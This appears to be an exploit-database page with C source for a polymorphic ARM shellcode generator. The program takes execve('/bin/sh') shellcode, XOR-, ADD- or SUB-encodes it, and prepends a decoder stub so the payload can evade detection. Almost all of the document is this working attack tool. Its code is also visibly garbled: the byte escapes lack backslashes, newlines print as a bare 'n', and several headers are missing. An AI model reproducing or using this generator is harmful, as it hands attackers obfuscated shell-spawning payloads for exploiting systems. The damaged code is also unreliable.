[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ARM Polymorphic execve("/bin/sh", ["/bin/sh"], NULL) Shellcode Generator
# Published : 2010-07-07
# Author :
# Previous Title : Allwin WinExec add new local administrator + ExitProcess Shellcode
# Next Title : Polymorphic /bin/sh x86 linux shellcode


/*
Title:     Generator polymorphic shellcode on ARM architecture
Date:      2010-07-07
Tested on: ARM926EJ-S rev 5 (v5l)

Author:    Jonathan Salwan
Web:       http://shell-storm.org | http://twitter.com/jonathansalwan

! Database of shellcodes http://www.shell-storm.org/shellcode/

Credit
======
This code generates a shellcode polymorphic execve("/bin/sh", ["/bin/sh"], NULL)
on ARM architecture.

You can encode your shellcode with XOR, ADD, SUB 
*/



#include <stdio.h>
#include <stdio.h>

/* execve("/bin/sh", ["/bin/sh"], NULL); */

unsigned char your_SC[] = "x01x30x8fxe2"
                          "x13xffx2fxe1"
                          "x78x46x0ax30"
                          "x01x90x01xa9"
                          "x92x1ax0bx27"
                          "x01xdfx2fx2f"
                          "x62x69x6ex2f"
                          "x73x68";


void syntax(void)
{
	fprintf(stdout,"nSyntax:  ./encode <type> <value>nn");
	fprintf(stdout,"Type:    -xorn");
	fprintf(stdout,"         -addn");
	fprintf(stdout,"         -subnn");
	fprintf(stdout,"Exemple: ./encode -xor 20nn");
	exit(1);
}

int main(int argc, char *argv[])
{
	if(argc != 3){
		syntax();
		return 1;
		}	


	if(!strcmp(argv[1], "-xor"))
		{
		fprintf(stdout,"Encode : XOR %sn", argv[2]);
		fprintf(stdout,"Encoded: n");

		int num  = (256-strlen(your_SC))+1;
		int num2 = num + 1;

		fprintf(stdout, "\x24\x60\x8f\xe2"
            			"\x16\xff\x2f\xe1"
            			"\x%.2x\x40\xa0\xe3"
            			"\x01\x0c\x54\xe3"
            			"\x1e\xff\x2f\x81"
            			"\x%.2x\x40\x44\xe2"
            			"\x04\x50\xde\xe7"
            			"\x%.2x\x50\x25\xe2"
            			"\x04\x50\xce\xe7"
            			"\x%.2x\x40\x84\xe2"
            			"\xf7\xff\xff\xea"
            			"\xf5\xff\xff\xeb"
				,num, num, atoi(argv[2]), num2);

		for (int i=0;i<sizeof(your_SC)-1;i++){
			your_SC[i] = your_SC[i]^atoi(argv[2]); 
			fprintf(stdout,"\x%.2x", your_SC[i]);
			}
		fprintf(stdout,"n");
		}
 

        if(!strcmp(argv[1], "-add"))
                {
                fprintf(stdout,"Encode : ADD %sn", argv[2]);
                fprintf(stdout,"Encoded: n");

                int num  = (256-strlen(your_SC))+1;
                int num2 = num + 1;

                fprintf(stdout, "\x24\x60\x8f\xe2"
                                "\x16\xff\x2f\xe1"
                                "\x%.2x\x40\xa0\xe3"
                                "\x01\x0c\x54\xe3"
                                "\x1e\xff\x2f\x81"
                                "\x%.2x\x40\x44\xe2"
                                "\x04\x50\xde\xe7"
                                "\x%.2x\x50\x45\xe2"
                                "\x04\x50\xce\xe7"
                                "\x%.2x\x40\x84\xe2"
                                "\xf7\xff\xff\xea"
                                "\xf5\xff\xff\xeb"
                                ,num, num, atoi(argv[2]), num2);

                for (int i=0;i<sizeof(your_SC)-1;i++){
                        your_SC[i] = your_SC[i]+atoi(argv[2]);
                        fprintf(stdout,"\x%.2x", your_SC[i]);
                        }
                fprintf(stdout,"n");
                }

        if(!strcmp(argv[1], "-sub"))
                {
                fprintf(stdout,"Encode : SUB %sn", argv[2]);
                fprintf(stdout,"Encoded: n");

                int num  = (256-strlen(your_SC))+1;
                int num2 = num + 1;

                fprintf(stdout, "\x24\x60\x8f\xe2"
                                "\x16\xff\x2f\xe1"
                                "\x%.2x\x40\xa0\xe3"
                                "\x01\x0c\x54\xe3"
                                "\x1e\xff\x2f\x81"
                                "\x%.2x\x40\x44\xe2"
                                "\x04\x50\xde\xe7"
                                "\x%.2x\x50\x85\xe2"
                                "\x04\x50\xce\xe7"
                                "\x%.2x\x40\x84\xe2"
                                "\xf7\xff\xff\xea"
                                "\xf5\xff\xff\xeb"
                                ,num, num, atoi(argv[2]), num2);

                for (int i=0;i<sizeof(your_SC)-1;i++){
                        your_SC[i] = your_SC[i]-atoi(argv[2]);
                        fprintf(stdout,"\x%.2x", your_SC[i]);
                        }
                fprintf(stdout,"n");
                }

return 0;
}